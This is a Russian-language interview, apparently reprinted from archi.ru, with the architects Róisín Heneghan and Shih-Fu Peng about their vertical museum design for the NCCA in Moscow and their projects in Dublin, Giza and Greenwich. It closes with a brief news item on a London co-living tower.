– Мы непременно начинаем с изучения площадки для строительства, стараемся понять климат и почувствовать место. Несмотря на сказанное, мы совершили множество ошибок и порой неправильно воспринимали среду. Например, на Ближнем Востоке мы не до конца понимали, что общественное пространство должно быть защищенным от окружающей среды, а любые занятия на открытом воздухе крайне ограничены из-за невыносимой жары. А мы пытались привнести туда европейское чувство общественного уличного пространства, где оно интерпретируется как нечто ключевое и прекрасное. Работать в Европе несколько проще. Конечно, здесь тоже есть различия, но здесь существует общий язык и понимание отношений с открытым пространством.

Музейно-выставочный комплекс ГЦСИ. Heneghan Peng Architects. Материалы предоставлены пресс-службой ГЦСИ

Ши-Фу Пэн:
– Действительно, мы являемся представителями того поколения, которому необходимо понимание среды. Наш проект для ГЦСИ основан на анализе среды. Если бы аналогичные средовые характеристики существовали в каком-либо другом месте, мы бы предложили аналогичный проект.

В какой-то степени мы должны были выиграть, потому что наша победа была одержана на стратегическом уровне. Площадка расположена на Ходынском поле, где новый парк примыкает к самому большому в мире торговому центру. Все участники пришли к выводу, что этот торговый центр представляет собой урбанистическую проблему, поэтому все предложили проекты горизонтально вытянутых зданий, которые могли бы загородить торговый центр.

Музейно-выставочный комплекс ГЦСИ. Heneghan Peng Architects. Материалы предоставлены пресс-службой ГЦСИ

Мы решили действовать иначе и предложили вертикальное здание, которое должно фокусировать внимание на себе, сделав торговый центр лишь фоном. Концептуально наш проект схож с Эйфелевой башней. Если вы взглянете на Эйфелеву башню, ваше внимание будет приковано именно к ней, а не к простирающемуся за ней Парижу, потому что это вертикальная доминанта, противопоставленная линии горизонта. Можно сказать, мы решили проблему, отказавшись от решения проблемы, мы сжульничали.

Музейно-выставочный комплекс ГЦСИ. Heneghan Peng Architects. Материалы предоставлены пресс-службой ГЦСИ

Форма здания довольна русская. Нас часто спрашивают, почему в этом проекте мы используем столько консольных выносов. Мой ответ таков: мы в России, современные консоли были изобретены именно здесь, как мы можем построить здание без них? Все здание будущего музея буквально посвящено консольным выносам. Я всегда говорю, что чем сильнее ужать консольный вынос, тем сильнее здание будет напоминать американский небоскреб. Американские небоскребы в какой-то мере – совершенные экономические объекты. Консольные выносы противоположны экономической целесообразности. Этот элемент кажется нам воплощением идей русского авангарда.

– Россия – непростая страна для зарубежных архитекторов. Каковы основные положительные и отрицательные моменты в вашей работе над московским проектом?

Ройшн Хенеган:
– Нам нравится брать на себя всю работу на ранней стадии проектирования, а потом постепенно передавать воплощение наших идей партнерам, при этом сохраняя вовлеченность в проект в качестве наблюдателей. Такая схема работы была невозможна в реализации московского проекта. В нем мы играем роль проектных консультантов (design advisers). Однако это также значит, что мы будем участвовать в процессе до завершения строительства здания, что нам импонирует.

С одной стороны, мы были несколько удивлены невозможностью более плотно участвовать в проекте. С другой стороны, наши партнеры из Москомархитектуры всегда прислушивались к нашему мнению. Россия – страна с очень жесткими СНИПами. Сравнивая работу в Москве и в Лондоне, нам очевидно, что в России пространство для переговоров значительно уже.

Ши-Фу Пэн:
– Мы были удивлены множеством правил и изобретательностью в манипулировании ими. В любой стране правила не могут регулировать 100% населения. Всегда найдется 10%, которые выпадают из общей схемы. В конце концов, нельзя ограничить людей в желании творчески мыслить и придумывать нестандартные решения. Люди всегда находят лазейки. Русские очень хорошо знают, как обходить правила.

– А в чем особенность вашей работы в Ирландии?

Ройшн Хенеган:
– В Ирландии, как, пожалуй, и в Лондоне мы лучше знакомы с процессом строительства и сильнее вовлечены в него. Сейчас мы ведем реконструкцию Национальной галереи Ирландии в Дублине и постоянно находимся на площадке. Преимуществом такой включенности является хорошее знание пространства, доскональное понимание того, как люди его используют и как в нем перемещаются. Недостаток заключается в невозможности взглянуть на объект со стороны. Выполняя проекты в своей стране, архитектурное бюро невольно разделяет все исходные установки, свойственные этой среде, не подвергая их сомнению. Привилегия специалистов извне состоит в том, что они могут напомнить о необязательности следования привычному пути.

Проект реконструкции Национальной галереи Ирландии в Дублине © heneghan peng architects

– Чувствуете ли вы связь с современной ирландской архитектурой?

Ройшн Хенеган:
– Если честно, мы никогда не чувствовали себя представителями ирландской архитектуры. Несмотря на то, что я ирландка и здесь окончила бакалавриат, Ши-Фу американец и мы оба учились в Штатах. Хотя в настоящий момент мы работаем в Дублине и, конечно, привносим некоторые элементы ирландской культуры в наши проекты, мы не были взращены этой системой настолько, насколько другие ирландские архитектурные бюро – как Grafton Architects или O’Donnell & Tuomey.

– С момента создания вашего бюро в Нью-Йорке вы успели переехать в Дублин и открыть филиал в Берлине. Каковы были причины и результаты таких перемещений?

Ройшн Хенеган:
– Верно, наше бюро открылось в Нью-Йорке, в то время мы там работали. Потом мы выиграли конкурс в Дублине, и удаленная разработка этого проекта была бы сложной задачей. В какой-то степени у нас не было причин оставаться в Нью-Йорке. В Европе куда более сильная культура конкурсов для молодых архитектурных бюро, поэтому мы решили переехать в Дублин. Наш первый заказ в Дублине был довольно крупным, офисное здание с бюджетом в 40 млн евро, что создало для нас определенную материальную базу.

– Ши-Фу, что ты думаешь о жизни в Ирландии? Каково было переехать в эту страну?

Ши-Фу Пэн:
– По-моему, место расположения для нас не имеет значения. По большому счету, у нас не было выбора, где жить. С точки зрения ведения бизнеса, Дублин довольно хорош. Существует такая аббревиатура ФЛАП (Франкфурт-на-Майне, Лондон, Амстердам, Париж), она обозначает ведущие узлы авиаперевозок бизнес-класса. В отличие от них, Дублин – высоко котирующийся аэропорт для туризма, использование которого в два-три раза дешевле, чем ФЛАП. Как видите, у нашего местоположения есть определенные преимущества.

Ройшн Хенеган:
– Открытие дополнительного офиса в Берлине произошло следующим образом: у нас было несколько сотрудников из Германии, один из которых хотел переехать в Берлин. Мы не хотели его терять, к тому же у нас в то время был проект в Веймаре, поэтому мы решили открыть филиал в Берлине. Сегодня там работает пять сотрудников.

– Похоже, у вас интернациональная команда?

Ройшн Хенеган:
– Наверно, мы до сих пор наполовину ирландцы. У нас также немало немцев и поляков. Раньше у нас был более интернациональный коллектив, но с началом экономического кризиса многие уехали из Ирландии.

– Ваше бюро стартовало в формате небольшой команды и постепенно стало расширяться. Каковы основные сложности в проведении таких организационных перемен?

Ши-Фу Пэн:
– Когда мы выиграли конкурс на проектирование Большого Египетского музея, нас было всего трое. В конце работы над проектом наша команда разрослась до более сотни сотрудников (из них примерно сорок работают в дублинском офисе).
Разумеется, мы переживали взлеты и падения. Наша первостепенная задача – ослабить контроль. Если посмотреть на ведущих мировых лидеров, скажем, на председателя правительства Китая, они инженеры, не архитекторы. Архитекторы не могут управлять государством, они слишком хотят все контролировать. В процессе работы с архитекторами, которые проектировали крупные здания, мы поняли логику оптимальной организации бюро. В какой-то момент мы решили частично стать менеджерами проектов, а не только архитекторами. Мы стали разбивать проект на части таким образом, чтобы разные сотрудники могли выполнять отдельные его компоненты. Обычно такие части довольно очевидны. Например, в московском проекте у нас есть парк на заднем плане и башня на переднем плане, это два нераздельных элемента. Башня производила бы куда более скромное впечатление, если бы она располагалась в городской среде. За счет расположения в большом парке башня будет его композиционной доминантой, словно пагода в японском саду. В Нью-Йорке она не имела бы смысла.

– Удивительно, что осуществление такого крупного международного проекта, как музей в Гизе, вы начинали втроем. Как вам это удалось?

Ши-Фу Пен:
– С самого начала работы над проектом Большого Египетского музея мы решили, что будем рассматривать всю площадку, на которой расположен объект, как одно целое. Таким образом, все элементы внутри и снаружи музейного здания, включая скамейки в прилегающем парке, были вписаны в планировочную сетку. Именно благодаря разработке этой сетки мы смогли выполнить проект, требующий сотни сотрудников, командой из трех человек.

– Ройшн, ты преподаешь в нескольких университетах. Как общение со студентами влияет на твою работу?

Ройшн Хенеган:
– Разговор с людьми, которые сосредоточенно разрабатывают какие-либо идеи и прикладывают серьезные усилия для их воплощения, очень воодушевляет. Работа в офисе очень практическая, обремененная мыслями о контрактах и бюджетах. Преподавание дает мне возможность проводить концептуальные эксперименты, говорить об идеях и мыслить свободнее.

– Как вы хотели организовать учебный процесс для молодых архитекторов в проекте Гринвичской школы архитектуры?

Ройшн Хенеган:
– Мы хотели построить Школу вокруг студии – большого удобного пространства для студентов, где они могут делать макеты, рисовать, заниматься и видеть друг друга. Понимаете, у всех однажды наступает момент, когда он/она «застревает». Когда это случается, полезно побродить, поговорить с другими, узнать, что у них на уме.

Архитектурная школа Гринвичского университета © Hufton + Crow

– Что обычно вдохновляет вас в процессе работы?

Ши-Фу Пэн:
– Это может быть что угодно. На самом деле, я не участвую в начальной стадии подготовки конкурсных проектов. На старте у меня нет идей. Мне нужно своего рода облако космической пыли, [из которой образуются звезды и планеты], с которым я мог бы работать. Я хороший критик.

По утрам я занимаюсь плаванием. В действительности, плавание – это единственное занятие, во время которого человек может быть наедине с собой в состоянии невесомости, что позволяет думать и генерировать идеи. Мне кажется, именно поэтому Ле Корбюзье также любил плавать.

– Что вы можете посоветовать молодым архитекторам?

Ши-Фу Пэн:
– Мы можем посоветовать, как участвовать в конкурсах, но не как стать архитектором. Терпеть не могу, когда говорят, что у каждого свой путь, но, как ни странно, люди подходят к решению одних и тех же задач по-разному. Каким-то образом все могут добиться хороших результатов. Совет прост – надо работать. Редкий человек рожден Фрэнком Гери, и даже он, наверняка, много и упорно работает.

– Что для вас проект вашей мечты?

Ройшн Хенеган:
– Я бы хотела построить аэропорт. Очень жаль, что аэропорты превратились в места, где главное – безопасность. Было бы здорово построить маленький аэропорт, который по-прежнему бы создавал ощущение волшебства полета.

Ши-Фу Пен:
– Мне не важно, каким проектом я занимаюсь. Чем сложнее проект, чем больше проблем необходимо решить при его исполнении – тем интереснее работать. Если заказчик дает нам полмиллиарда долларов, предоставляет площадку и просит построить здание, не ограничивая себя в расходах, мне не хочется работать над этим проектом. Если клиент сообщает, что у него всего полмиллиона долларов, участок представляет собой оспариваемую территорию и не имеет водоснабжения, тогда нам интересно.
Существует хорошее высказывание Рема Колхаса. Однажды его спросили, почему он никак не построит себе дом. Рем ответил: «В этом случае мне будет не с кем спорить». Ничто не возможно без сопротивления.

беседовала: Екатерина Михайлова

Источник: www.archi.ru

16.03.2016 Коммуна для поколения Миллениума

Жилой небоскреб-коммуна от PLP Architecture и стартапа The Collective будет реализован в лондонском районе Стратфорд.